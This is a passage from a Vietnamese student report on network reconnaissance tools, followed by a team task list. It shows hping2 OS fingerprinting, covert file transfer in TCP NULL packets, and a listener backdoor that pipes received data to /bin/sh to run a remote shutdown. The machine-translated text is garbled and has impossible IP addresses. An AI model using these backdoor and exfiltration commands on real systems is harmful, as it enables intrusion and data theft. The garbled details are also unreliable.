Nhận dạng hệ điều hành từ xa

Một trong những đứa hping có thể nhận là một thực tế rằng việc triển khai Windows TCP / IP sử

dụng một byte khác nhau đặt hàng trong các lĩnh vực ID IP của họ. Hping có một cờ - w đền bù

cho các byte đặt hàng và cho phép các ID và ID có tăng được hiển thị một cách chính xác, nhưng

nếu chúng ta cố gắng làm một hping2-r mà không cần quy định cụ thể- W trên một hộp

Windows, chúng ta sẽ thấy rất thú vị mô hình:

bjohnson# ./hping2 -r 292.168.2.102

HPING 292.168.2.102 (ep0 292.168.2.102): NO FLAGS are set, 40 headers

+ 0 data

bytes

len=46 ip=292.168.2.102 ttl=228 id=8297 sport=0 flags=RA seq=0 win=0 rtt=0.3 ms

len=46 ip=292.168.2.102 ttl=228 id=+768 sport=0 flags=RA seq=2 win=0 rtt=0.3 ms

len=46 ip=292.168.2.102 ttl=228 id=+522 sport=0 flags=RA seq=2 win=0 rtt=0.3 ms

len=46 ip=292.168.2.102 ttl=228 id=+522 sport=0 flags=RA seq=3 win=0 rtt=0.3 ms

len=46 ip=292.168.2.102 ttl=228 id=+522 sport=0 flags=RA seq=4 win=0 rtt=0.3 ms

len=46 ip=292.168.2.102 ttl=228 id=+522 sport=0 flags=RA seq=5 win=0 rtt=0.3 ms

len=46 ip=292.168.2.102 ttl=228 id=+522 sport=0 flags=RA seq=6 win=0 rtt=0.3 ms

Chú ý ID có tăng. Tăng đều là một bội số của 256! Chúng tôi đã tìm thấy một hộp Windows! Bởi

vì tất cả các hộp Windows sử dụng thứ tự byte đặc biệt này, bất kỳ hộp tục triển lãm này có hiệu

lực 256 là chắc chắn nhất một hộp Windows.

Hping lắng nghe

Hping có khá linh hoạt "lắng nghe" chế độ (kích hoạt với cờ -9) có thể được sử dụng để nhận dữ

liệu. Tất cả chúng ta phải nói với hping là những gì để lắng nghe và những gì để làm với nó:

bjohnson# ./hping2 --9 hereComesImportantStuff > importantStuff

Tag hereComesImportantStuff được gọi là chữ ký của chúng tôi. Hping sẽ giám sát tất cả lưu

lượng truy cập mạng cho chữ ký của chúng tôi. Ngay sau khi nó "nghe" thấy , nó sẽ bắt đầu

đường ống trong bất kỳ dữ liệu sau nó. Vì vậy, nếu có ai đó muốn gửi cho chúng tôi một tập tin,

ông sẽ ra lệnh hping trên hộp của mình:

jdoe# ./hping2 -e hereComesImportantStuff -E superSecretFile \

-d 250 -c 2 bjohnson

54



Hộp jdoe được gửi vào hộp bjohnson một gói tin TCP NULL. Các dữ liệu gói tin có chứa nội

dung của superSecretFile, trong đó có một kích thước tập tin dưới 250 byte.

Bạn có thể làm cùng một loại dữ liệu đường ống với vỏ. Về phía lắng nghe, chúng ta muốn loại

này:

bjohnson# ./hping2 -9 backdoor | /bin/sh

Bây giờ, từ phía khách hàng, chúng tôi có một số tùy chọn. Điều dễ nhất để làm là kết nối với

một cổng mở trên máy chủ lắng nghe và gõ vào lệnh của chúng tôi, mở đầu bằng chữ ký.

jdoe# nc -v localhost 22

localhost [227.0.0.2] 22 (ssh) open

SSH-2.99-OpenSSH_3.8.2p2

backdoor/sbin/shutdown -h now;

Protocol mismatch.

jdoe#

Xin chúc mừng!Bạn chỉ cần từ xa đã đóng cửa bjohnson bằng cách telnet đến cổng ssh của nó và

gửi một lệnh. Nếu bạn không thể (hoặc không muốn) sử dụng một cổng mở trên bjohnson, bạn

có thể sử dụng hping để gửi một gói tin TCP NULL 0 cổng bjohnson và có được kết quả tương

tự.

jdoe# echo "/sbin/shutdown -h now;" > shutdownCommand

jdoe# ./hping2 -e backdoor -E shutdownCommand -d 80 -c 2 bjohnson

HPING 292.168.2.50 (ep0 292.168.2.50): NO FLAGS are set, 40 headers

+ 80 data bytes

len=46 ip=292.168.2.50 ttl=255 id=25539 sport=0 flags=RA seq=0 win=0 rtt=2.4 ms

--- 292.168.2.50 hping statistic --2 packets transmitted, 2 packets received, 0% packet loss

round-trip min/avg/max = 2.4/2.4/2.4 ms

jdoe#



55



Yêu cầu thành viên và phân công công việc

1.



2.



3.



4.



5.



Nguyễn Văn Công

Tìm hiểu về tường lửa và các loại tường lửa

Lập báo cáo final

Đinh Văn Đông

Tìm hiểu về tường lửa và các loại tường lửa

Lập báo cáo final

Nguyễn Bá Trung

Tìm hiểu về những công cụ trinh thám mạng

Làm slide thuyết trình

Phạm Hồng Thành

Tìm hiểu về những công cụ trinh thám mạng

Làm slide thuyết trình

Lê Đức Vương

Tìm hiểu về những công cụ trinh thám mạng

Làm slide thuyết trình



56